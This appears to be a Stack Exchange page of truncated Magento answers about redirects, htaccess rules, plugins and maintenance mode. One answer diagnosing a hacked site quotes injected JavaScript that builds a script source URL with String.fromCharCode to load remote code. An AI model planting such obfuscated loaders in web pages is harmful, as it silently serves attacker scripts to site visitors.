12

I reckon you should try to the following: $this->_redirect("/");


9

If you need to know detail about the following code then read the following: $resultRedirect->setPath('*/*/'); First * means current route and second * means current controller. Let me explain it in detail with example. Suppose you are submitting any form to http://example.com/someroute/somecontroller/someaction. Then in this case if you are using $...


8

We can config in Admin: STORES > Configuration > CUSTOMERS > Customer Configuration > Login Options > Redirect Customer to Account Dashboard after Logging in > No. When enabled this config, the login url will have a referer param to base64 encode url, like: http://{website_url}/customer/account/login/referer/aHR0cDovL2xvY2FsaG9zdC9tYWdlMjE=/ Technically, ...


7

For activating maintenance mode with IP addresses execute below command in CLI php bin/magento maintenance:enable --ip="192.168.0.52" --ip="192.168.0.86" the above command will automatically create a .maintenance.flag and .maintenance.ip file under root/var folder. and .maintenance.ip the file contains the above two IP addresses separated by a comma. For ...


5

If you can load your CSV file content then This is the way to import Bulk URL Rewrite: Add below Code into script than run it. // MAGENTO START include('../../../app/bootstrap.php'); use Magento\Framework\App\Bootstrap; use Magento\Framework\App\Config\ScopeConfigInterface; use Magento\Store\Model\StoreManagerInterface; use Magento\...


5

You can try below code $url = Mage::getBaseUrl(); Mage::app()->getFrontController()->getResponse()->setRedirect($url);


5

There are multiple approaches how you can do this without editing magento code (webserver level, for example). These approaches might be more efficient. But if you want to do it with magento, your $resultRedirect should be returned to App\Http. Your observer does not return $resultRedirect, so it is not processed by \Magento\Framework\App\Http::launch and ...


5

I fixed it by adding RewriteCond %{HTTPS} !=on RewriteRule ^(.*)$ https://mydomain.co.uk/$1 [L,R=301] To my .htaccess and setting Auto-Redirect to base url to No Hope this helps someone


5

You need to edit your htaccess file for this kind of redirect. See below: ## enable rewrites Options +FollowSymLinks RewriteEngine on RewriteBase / RewriteCond %{HTTP_HOST} ^example.com$ [NC] RewriteRule ^(.*)$ https://www.example.com/$1 [R=301,L] RewriteCond %{HTTP_HOST} !^www\. [NC] RewriteRule ^(.*)$ https://www.%{HTTP_HOST}/$1 [R=301,L] RewriteCond %...


5

It seems somebody hacked your site and inserted rogue code in the top 2 lines of https://www.antiqworld.com/js/jquery/jquery-1.11.1.min.js: var po = document.createElement("script"); po.type = "text/javascript"; po.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 100, 110, 46, 97, 108, 108, 121, 111, 117, 119, 97, 110, 116, 46, 111, 110, ...


4

You can implement Magento 2 after method plugin for execute method of Post controller of Contact module. And create CMS page with 'contact/thanks' URL and redirect to the page in your plugin. But in that case you need custom module to place your plugin. <?php namespace YourModule\ContactUsRedirect\Plugin; class PostPlugin { /** * @var \Magento\...


4

I'm not sure exactly what you are trying to achieve here, but if you limit your problem to redirecting to a different url from a plugin, I can give you some ideas. Since the Magento\Customer\Api\AccountManagementInterface does not act as a controller maybe you should not try to redirect from one of the methods from the implementation of this interface. only ...


4

It is used to redirect current route, current controller's index action. Let say if you are currently browsing checkout/index/customaction if you are using this code in custom action controller, then it will redirect you to checkout/index/index So in this case checkout/index/index = '*/*/' OR '*/*/Index' (both are same); here First * denotes ...


3

Set config setting in Admin: STORES > Configuration > CUSTOMERS > Customer Configuration > Login Options > Redirect Customer to Account Dashboard after Logging in > No. Also we have to enable Guest checkout.


3

The answer doesn't involve forcing Magento to stay on the page since $this->_redirectReferer() Handles this behaviour nicely for us. The problem itself was due to some pages having a secure URL which meant that Magento would redirect when the form was submitted over https the solution was to change: <?php echo Mage::getUrl('locale/switch'); ?> ...


3

use setRedirect <?php namespace [Vendor]\[modulename]\Observer; use \Magento\Framework\Event\Observer; use \Magento\Framework\Event\ObserverInterface; class [YourClass] implements ObserverInterface { protected $_responseFactory; protected $_redirect; protected $_url; public function __construct( ...... \Magento\Framework\...


3

You add a custom link to the 'proceed to checkout button' in minicart.js. This can be found under magento/module-checkout/view/frontend/web/js/view In that file you will see 'url':{ 'checkout'


3

Below is a working example from my own code. It only requires 2 files. Create di.xml file <?xml version="1.0"?> <config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd"> <type name="Magento\Backend\App\AbstractAction"> <plugin name="...


3

Add this in your .htaccess after RewriteEngine on RewriteCond %{THE_REQUEST} ^.*/index.php RewriteRule ^(.*)index.php$ https://domain.com/$1 [R=301,L] Change domain.com to your domain and check do you use http or https. Its worked for me. When I enter address with index.php its redirecting to domain.


3

Just in case anyone is looking for answer to this question: There is event observer which looks for previous url and login actions. Here is the code: use Magento\Framework\Event\ObserverInterface; use Magento\Framework\Event\Observer as EventObserver; class CustomerAuthenticated implements ObserverInterface { /** * Core store config * * @var \Magento\...


2

You have a redirect set up from domain.com to www.domain.com. This results in anything you type as a request path (http://domain.com/something/something) to be redirected to the homepage, but then with www. in front of it (http://www.domain.com). If this was done by .htaccess rewrite rules then there are solutions for that to keep the request path with the ...


2

Try the following code. I assume (by your code) that you want the first category if there are many. $categories = Mage::getModel('catalog/category') ->getCollection() ->addAttributeToSelect('*') ->addAttributeToFilter('custom_attribute', 'value') ->addIsActiveFilter() ->addUrlRewriteToResult();...


2

I solved it by creating a permanent redirect in Marketing -> URL Rewrites from contact/index to my custom URL. It works and even shows the successful message.


2

Old question but I found this through search. @Design was 90% correct but apparently didn't test their answer. First copy the Magento_Contact form.phtml to your theme. app/design/frontend/{Namespace}/{Theme}/Magento_Contact/templates/form.phtml Next, append the following script to the new file <script> require( ['jquery'], function($) { ...


2

The Maintenance Mode check-in lib/internal/Magento/Framework/App/Bootstrap.php. This file calls to lib/internal/Magento/Framework/App/MaintenanceMode.php. If .maintenance.flag file exists in var folder, it returns false. If you want the redirect to a new page when maintenance enables, you need change lib/internal/Magento/Framework/App/Bootstrap.php file. ...


2

add below in your old domian .htaccess file RewriteEngine on RewriteRule ^(.*)$ http://www.newdomain.com/$1 [R=301,L]


2

I think there is no explicitly defined extension point for your scenario. However, you can override the default behavior by creating a plugin on \Magento\Checkout\Controller\Onepage\Success::execute method.


2

I had to do this by exporting the url_rewrite database table then added my custom redirects and imported via phpMyadmin and works fine.


2

You need to override the placeOrder function in your method-render JS function. 'use strict'; return Component.extend({ defaults: { template: 'Yuansfer_Yuansfer/payment/form' }, getCode: function () { return 'yuansfer_alipay'; }, isActive: function () { return true; ...


2

These are the steps to do: 1. Redirects can be done in the following way: $observer->getControllerAction()->getResponse()>setRedirect($redirectUrl); 2. The best solution, perhaps, will be to use the controller_action_predispatch (as there are unfortunately no other, more suitable events). 3. In the same observer you can also set up ...


Only top voted, non community-wiki answers of a minimum length are eligible